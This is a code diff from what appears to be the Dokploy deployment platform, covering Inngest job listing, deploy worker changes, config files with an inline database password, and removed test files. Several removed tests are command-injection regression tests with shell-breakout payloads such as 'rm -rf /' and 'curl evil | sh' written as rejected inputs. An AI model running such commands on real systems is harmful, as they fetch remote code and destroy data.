if (!res.ok) {
logger.warn("Inngest runs API error", {
eventId,
status: res.status,
body: await res.text(),
});
return [];
}
const body = (await res.json()) as { data?: InngestRun[] };
return Array.isArray(body.data) ? body.data : [];
};
/** One row for the queue UI (BullMQ-compatible shape) */
export type DeploymentJobRow = {
id: string;
name: string;
data: Record<string, unknown>;
timestamp: number;
processedOn?: number;
finishedOn?: number;
failedReason?: string;
state: string;
};
/** Build queue rows from events + their runs (one row per run, or pending if no run yet) */
function buildDeploymentRowsFromRuns(
events: InngestEventRow[],
runsByEventId: Map<string, InngestRun[]>,
serverId: string,
): DeploymentJobRow[] {
const requested = events.filter(
(e) =>
e.name === "deployment/requested" &&
(e.data as Record<string, unknown>)?.serverId === serverId,
);
const rows: DeploymentJobRow[] = [];
for (const ev of requested) {
const data = (ev.data ?? {}) as Record<string, unknown>;
const runs = runsByEventId.get(ev.id) ?? [];
if (runs.length === 0) {
// Queued: event received but no run yet
rows.push({
id: ev.id,
name: ev.name,
data,
timestamp: ev.ts,
processedOn: ev.ts,
finishedOn: undefined,
failedReason: undefined,
state: "pending",
});
continue;
}
for (const run of runs) {
const state = runStatusToState(run.status);
const runStartedMs =
run.run_started_at_ms ??
(run.run_started_at ? new Date(run.run_started_at).getTime() : ev.ts);
const endedMs = run.ended_at
? new Date(run.ended_at).getTime()
: undefined;
const failedReason =
state === "failed" &&
run.output &&
typeof run.output === "object" &&
"error" in run.output
? String((run.output as { error?: unknown }).error)
: undefined;
rows.push({
id: run.run_id,
name: ev.name,
data,
timestamp: runStartedMs,
processedOn: runStartedMs,
finishedOn:
state === "completed" || state === "failed" || state === "cancelled"
? endedMs
: undefined,
failedReason,
state,
});
}
}
return rows.sort((a, b) => (b.timestamp ?? 0) - (a.timestamp ?? 0));
}
/** Fetch deployment jobs for a server: events → runs → rows (correct model: runs = jobs) */
export const fetchDeploymentJobs = async (
serverId: string,
): Promise<DeploymentJobRow[]> => {
if (!signingKey) {
logger.warn("INNGEST_SIGNING_KEY not set, returning empty jobs list");
return [];
}
if (!baseUrl) {
throw new Error("INNGEST_BASE_URL is required to list deployment jobs");
}
const events = await fetchInngestEvents();
const requestedForServer = events.filter(
(e) =>
e.name === "deployment/requested" &&
(e.data as Record<string, unknown>)?.serverId === serverId,
);
// Limit to avoid too many run fetches
const toFetch = requestedForServer.slice(0, 50);
const runsByEventId = new Map<string, InngestRun[]>();
await Promise.all(
toFetch.map(async (ev) => {
const runs = await fetchInngestRunsForEvent(ev.id);
runsByEventId.set(ev.id, runs);
}),
);
return buildDeploymentRowsFromRuns(toFetch, runsByEventId, serverId);
};
+12 -20
View File
@@ -1,15 +1,14 @@
import {
deployApplication,
deployCompose,
deployPreviewApplication,
rebuildApplication,
rebuildCompose,
rebuildPreviewApplication,
deployRemoteApplication,
deployRemoteCompose,
deployRemotePreviewApplication,
rebuildRemoteApplication,
rebuildRemoteCompose,
updateApplicationStatus,
updateCompose,
updatePreviewDeployment,
} from "@dokploy/server";
import type { DeployJob } from "./schema.js";
import type { DeployJob } from "./schema";
export const deploy = async (job: DeployJob) => {
try {
@@ -17,13 +16,13 @@ export const deploy = async (job: DeployJob) => {
await updateApplicationStatus(job.applicationId, "running");
if (job.server) {
if (job.type === "redeploy") {
await rebuildApplication({
await rebuildRemoteApplication({
applicationId: job.applicationId,
titleLog: job.titleLog || "Rebuild deployment",
descriptionLog: job.descriptionLog || "",
});
} else if (job.type === "deploy") {
await deployApplication({
await deployRemoteApplication({
applicationId: job.applicationId,
titleLog: job.titleLog || "Manual deployment",
descriptionLog: job.descriptionLog || "",
@@ -37,13 +36,13 @@ export const deploy = async (job: DeployJob) => {
if (job.server) {
if (job.type === "redeploy") {
await rebuildCompose({
await rebuildRemoteCompose({
composeId: job.composeId,
titleLog: job.titleLog || "Rebuild deployment",
descriptionLog: job.descriptionLog || "",
});
} else if (job.type === "deploy") {
await deployCompose({
await deployRemoteCompose({
composeId: job.composeId,
titleLog: job.titleLog || "Manual deployment",
descriptionLog: job.descriptionLog || "",
@@ -55,15 +54,8 @@ export const deploy = async (job: DeployJob) => {
previewStatus: "running",
});
if (job.server) {
if (job.type === "redeploy") {
await rebuildPreviewApplication({
applicationId: job.applicationId,
titleLog: job.titleLog || "Rebuild Preview Deployment",
descriptionLog: job.descriptionLog || "",
previewDeploymentId: job.previewDeploymentId,
});
} else if (job.type === "deploy") {
await deployPreviewApplication({
if (job.type === "deploy") {
await deployRemotePreviewApplication({
applicationId: job.applicationId,
titleLog: job.titleLog || "Preview Deployment",
descriptionLog: job.descriptionLog || "",
+3 -2
View File
@@ -2,12 +2,13 @@
"compilerOptions": {
"target": "ESNext",
"module": "ESNext",
"moduleResolution": "bundler",
"moduleResolution": "Node",
"strict": true,
"skipLibCheck": true,
"outDir": "dist",
"rootDir": "./src",
"jsx": "react-jsx",
"jsxImportSource": "hono/jsx",
"baseUrl": ".",
"paths": {
"@/*": ["./*"],
"@dokploy/server/*": ["../../packages/server/src/*"]
+1 -1
View File
@@ -1,3 +1,3 @@
DATABASE_URL="postgres://dokploy:amukds4wi9001583845717ad2@localhost:5432/dokploy"
PORT=3000
NODE_ENV=development
NODE_ENV=development
+1
View File
@@ -1,2 +1,3 @@
DATABASE_URL="postgres://dokploy:amukds4wi9001583845717ad2@dokploy-postgres:5432/dokploy"
PORT=3000
NODE_ENV=production
+1
View File
@@ -0,0 +1 @@
20.16.0
@@ -1,26 +0,0 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});
@@ -1,23 +0,0 @@
import { describe, expect, it } from "vitest";
import { z } from "zod";
const revokeSessionSchema = z.object({
sessionId: z.string(),
});
describe("revokeSession input validation", () => {
it("accepts a valid session id", () => {
const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
expect(result.success).toBe(true);
});
it("rejects missing sessionId", () => {
const result = revokeSessionSchema.safeParse({});
expect(result.success).toBe(false);
});
it("rejects non-string sessionId", () => {
const result = revokeSessionSchema.safeParse({ sessionId: 123 });
expect(result.success).toBe(false);
});
});
@@ -1,106 +0,0 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});
@@ -1,50 +0,0 @@
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
it("should redact access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
});
it("should redact secret access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("supersecret");
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
});
it("should redact both credentials simultaneously", () => {
const cmd =
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIA123");
expect(redacted).not.toContain("secret456");
expect(redacted).toContain('--s3-region="us-east-1"');
});
it("should not modify non-credential flags", () => {
const cmd =
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).toBe(cmd);
});
it("should handle commands with no credentials", () => {
const cmd = "rclone lsf :s3:bucket/";
expect(redactRcloneCredentials(cmd)).toBe(cmd);
});
it("should handle error strings containing credentials", () => {
const errorStr =
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MYSECRET");
expect(redacted).toContain("[REDACTED]");
});
});
@@ -1,57 +0,0 @@
import { execSync } from "node:child_process";
import {
getRestoreCommand,
stripDatabaseSwitchCommand,
} from "@dokploy/server/utils/restore/utils";
import { describe, expect, it } from "vitest";
const filter = (input: string) =>
execSync(stripDatabaseSwitchCommand, {
input,
shell: "/bin/bash",
}).toString();
describe("restore drops database-switch statements (mysql/mariadb)", () => {
const dump = [
"-- MariaDB dump",
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
"USE `production_db`;",
"use production_db;",
"DROP TABLE IF EXISTS `users`;",
"CREATE TABLE `users` (`id` int NOT NULL);",
"INSERT INTO `users` VALUES (1),(2);",
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
].join("\n");
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
const result = filter(dump);
expect(result).not.toContain("USE `production_db`");
expect(result).not.toContain("use production_db");
expect(result).not.toContain("CREATE DATABASE /*!32312");
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
expect(result).toContain(
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
);
});
it("is wired into mysql and mariadb restore pipelines only", () => {
const base = {
appName: "my-app",
restoreType: "database" as const,
credentials: {
database: "dev_db",
databaseUser: "u",
databasePassword: "p",
},
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
};
for (const type of ["mysql", "mariadb"] as const) {
const cmd = getRestoreCommand({ ...base, type });
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
}
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
});
});
@@ -1,82 +0,0 @@
import { spawnSync } from "node:child_process";
import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup";
import { describe, expect, it } from "vitest";
const runCommand = (command: string) =>
spawnSync("bash", ["-c", command], {
encoding: "utf8",
});
const outputLines = (stdout: string) =>
stdout
.trim()
.split("\n")
.filter((line) => line.length > 0);
describe("createRestartSafeBackupCommand", () => {
it("restarts the service and preserves the backup error status", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"; exit 23',
startCommand: 'echo "start"',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(23);
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
});
it("preserves the backup error status when the restart also fails", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"; exit 23',
startCommand: 'echo "start"; exit 17',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(23);
expect(outputLines(result.stdout)).toEqual([
"stop",
"backup",
"start",
"Service restart also failed with exit code 17",
]);
});
it("returns the restart error status when the backup succeeds", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"',
startCommand: 'echo "start"; exit 17',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(17);
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
});
it("uploads only after a successful backup and service restart", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"',
startCommand: 'echo "start"',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(0);
expect(outputLines(result.stdout)).toEqual([
"stop",
"backup",
"start",
"upload",
]);
});
});
@@ -1,70 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});
@@ -1,243 +0,0 @@
import type { Registry } from "@dokploy/server";
import { getRegistryTag } from "@dokploy/server";
import { describe, expect, it } from "vitest";
describe("getRegistryTag", () => {
// Helper to create a mock registry
const createMockRegistry = (overrides: Partial<Registry> = {}): Registry => {
return {
registryId: "test-registry-id",
registryName: "Test Registry",
username: "myuser",
password: "test-password",
registryUrl: "docker.io",
registryType: "cloud",
imagePrefix: null,
createdAt: new Date().toISOString(),
organizationId: "test-org-id",
...overrides,
};
};
describe("with username (no imagePrefix)", () => {
it("should handle simple image name without tag", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "nginx");
expect(result).toBe("docker.io/myuser/nginx");
});
it("should handle image name with tag", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "nginx:latest");
expect(result).toBe("docker.io/myuser/nginx:latest");
});
it("should handle image name with username already present (no duplication)", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "myuser/myprivaterepo");
// Should not duplicate username
expect(result).toBe("docker.io/myuser/myprivaterepo");
});
it("should handle image name with username and tag already present", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "myuser/myprivaterepo:latest");
// Should not duplicate username
expect(result).toBe("docker.io/myuser/myprivaterepo:latest");
});
it("should handle complex image name with username", () => {
const registry = createMockRegistry({ username: "siumauricio" });
const result = getRegistryTag(
registry,
"siumauricio/app-parse-multi-byte-port-e32uh7",
);
// Should not duplicate username
expect(result).toBe(
"docker.io/siumauricio/app-parse-multi-byte-port-e32uh7",
);
});
it("should handle image name with different username (should not duplicate)", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "otheruser/myprivaterepo");
expect(result).toBe("docker.io/myuser/myprivaterepo");
});
it("should handle image name with full registry URL (no username)", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "docker.io/nginx");
// Should add username since imageName doesn't have one
expect(result).toBe("docker.io/myuser/nginx");
});
it("should handle image name with custom registry URL and username", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "ghcr.io/myuser/repo");
// Should not duplicate username even if registry URL is different
expect(result).toBe("docker.io/myuser/repo");
});
it("should handle image name with custom registry URL (different username)", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "ghcr.io/otheruser/repo");
// Should use registry username, not the one in imageName
expect(result).toBe("docker.io/myuser/repo");
});
});
describe("with imagePrefix", () => {
it("should use imagePrefix instead of username", () => {
const registry = createMockRegistry({
username: "myuser",
imagePrefix: "myorg",
});
const result = getRegistryTag(registry, "nginx");
expect(result).toBe("docker.io/myorg/nginx");
});
it("should use imagePrefix with image tag", () => {
const registry = createMockRegistry({
username: "myuser",
imagePrefix: "myorg",
});
const result = getRegistryTag(registry, "nginx:latest");
expect(result).toBe("docker.io/myorg/nginx:latest");
});
it("should handle imagePrefix with username already in image name", () => {
const registry = createMockRegistry({
username: "myuser",
imagePrefix: "myorg",
});
const result = getRegistryTag(registry, "myuser/myprivaterepo");
expect(result).toBe("docker.io/myorg/myprivaterepo");
});
it("should handle imagePrefix matching image name prefix", () => {
const registry = createMockRegistry({
username: "myuser",
imagePrefix: "myorg",
});
const result = getRegistryTag(registry, "myorg/myprivaterepo");
// Should not duplicate prefix
expect(result).toBe("docker.io/myorg/myprivaterepo");
});
});
describe("without registryUrl", () => {
it("should work without registryUrl", () => {
const registry = createMockRegistry({
username: "myuser",
registryUrl: "",
});
const result = getRegistryTag(registry, "nginx");
expect(result).toBe("myuser/nginx");
});
it("should work without registryUrl with imagePrefix", () => {
const registry = createMockRegistry({
username: "myuser",
imagePrefix: "myorg",
registryUrl: "",
});
const result = getRegistryTag(registry, "nginx");
expect(result).toBe("myorg/nginx");
});
it("should handle username already present without registryUrl", () => {
const registry = createMockRegistry({
username: "myuser",
registryUrl: "",
});
const result = getRegistryTag(registry, "myuser/myprivaterepo");
// Should not duplicate username
expect(result).toBe("myuser/myprivaterepo");
});
});
describe("with custom registryUrl", () => {
it("should handle custom registry URL", () => {
const registry = createMockRegistry({
username: "myuser",
registryUrl: "ghcr.io",
});
const result = getRegistryTag(registry, "nginx");
expect(result).toBe("ghcr.io/myuser/nginx");
});
it("should handle custom registry URL with imagePrefix", () => {
const registry = createMockRegistry({
username: "myuser",
imagePrefix: "myorg",
registryUrl: "ghcr.io",
});
const result = getRegistryTag(registry, "nginx");
expect(result).toBe("ghcr.io/myorg/nginx");
});
it("should handle custom registry URL with username already present", () => {
const registry = createMockRegistry({
username: "myuser",
registryUrl: "ghcr.io",
});
const result = getRegistryTag(registry, "myuser/myprivaterepo");
// Should not duplicate username
expect(result).toBe("ghcr.io/myuser/myprivaterepo");
});
});
describe("edge cases", () => {
it("should handle empty image name", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "");
expect(result).toBe("docker.io/myuser/");
});
it("should handle image name with multiple slashes", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "org/suborg/repo");
expect(result).toBe("docker.io/myuser/repo");
});
it("should handle image name with username at different position", () => {
const registry = createMockRegistry({ username: "myuser" });
const result = getRegistryTag(registry, "org/myuser/repo");
expect(result).toBe("docker.io/myuser/repo");
});
});
describe("special characters in username", () => {
it("should handle Harbor robot account username with $ (e.g. robot$library+dokploy)", () => {
const registry = createMockRegistry({
username: "robot$library+dokploy",
});
const result = getRegistryTag(registry, "nginx");
expect(result).toBe("docker.io/robot$library+dokploy/nginx");
});
it("should handle username with $ and other special characters", () => {
const registry = createMockRegistry({
username: "robot$test+app",
});
const result = getRegistryTag(registry, "myapp:latest");
expect(result).toBe("docker.io/robot$test+app/myapp:latest");
});
it("should handle username with multiple $ symbols", () => {
const registry = createMockRegistry({
username: "user$name$test",
});
const result = getRegistryTag(registry, "app");
expect(result).toBe("docker.io/user$name$test/app");
});
it("should handle username with + and - symbols", () => {
const registry = createMockRegistry({
username: "robot+test-user",
});
const result = getRegistryTag(registry, "nginx:latest");
expect(result).toBe("docker.io/robot+test-user/nginx:latest");
});
});
});
@@ -1,52 +0,0 @@
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it, vi } from "vitest";
// Isolate the command builder from the compose-file I/O performed by
// writeDomainsToCompose; we only care about the docker invocation it emits.
vi.mock("@dokploy/server/utils/docker/domain", () => ({
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
}));
const baseCompose = {
appName: "my-app",
sourceType: "raw",
command: "",
composePath: "docker-compose.yml",
composeType: "stack",
isolatedDeployment: false,
randomize: false,
suffix: "",
serverId: null,
env: "",
mounts: [],
domains: [],
environment: { project: { env: "" }, env: "" },
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
// Regression coverage for #4401: the deploy command runs under `env -i`, which
// clears the environment except for the vars listed explicitly. HOME must be
// preserved so docker can resolve ~/.docker/config.json — otherwise
// `docker stack deploy --with-registry-auth` ships no credentials to the swarm
// and private-registry images fail to pull.
describe("getBuildComposeCommand registry auth (#4401)", () => {
it("preserves HOME for swarm stack deploys", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
composeType: "stack",
});
expect(command).toContain("stack deploy");
expect(command).toContain("--with-registry-auth");
expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
});
it("preserves HOME for docker compose deploys", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
composeType: "docker-compose",
});
expect(command).toContain("compose -p my-app");
expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
});
});
@@ -1,169 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
`\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
it("allows chained docker compose commands with '&&'", () => {
const cmd = createCommand({
...base,
command:
"compose pull && docker compose down && docker compose up -d --build",
} as any);
expect(cmd).toBe(
"compose pull && docker compose down && docker compose up -d --build",
);
});
it("allows chaining with the legacy 'docker-compose' spelling", () => {
const cmd = createCommand({
...base,
command: "compose pull && docker-compose down",
} as any);
expect(cmd).toBe("compose pull && docker-compose down");
});
it("rejects a single '&' used for backgrounding", () => {
expect(() =>
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects a malformed '&&&' chain", () => {
expect(() =>
createCommand({
...base,
command: "compose pull &&& docker compose up -d",
} as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects chained segments that are not docker compose invocations", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && rm -rf /",
} as any),
).toThrow(/must strictly start with 'docker compose '/);
});
it("rejects an attempted injection smuggled inside a chained segment", () => {
for (const bad of [
"compose pull && docker compose up -d; touch /tmp/pwn",
"compose pull && docker compose up -d $(touch /tmp/pwn)",
"compose pull && docker compose up -d `touch /tmp/pwn`",
"compose pull && docker compose up -d | touch /tmp/pwn",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && curl evil.sh | docker compose up -d",
} as any),
).toThrow(/Invalid characters/);
});
});
@@ -1,123 +0,0 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
command: "",
};
describe("compose createCommand --project-directory", () => {
it("pins --project-directory to the code dir when composePath is nested", () => {
const cmd = createCommand(
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("-f ./deploy/docker-compose.yml");
});
it("omits --project-directory when no projectPath is passed", () => {
const cmd = createCommand({
...base,
composePath: "./deploy/docker-compose.yml",
} as any);
expect(cmd).not.toContain("--project-directory");
});
it("does not add --project-directory to stack deploy (unsupported flag)", () => {
const cmd = createCommand(
{
...base,
composeType: "stack",
composePath: "./deploy/docker-compose.yml",
} as any,
"/etc/dokploy/compose/compose-app/code",
);
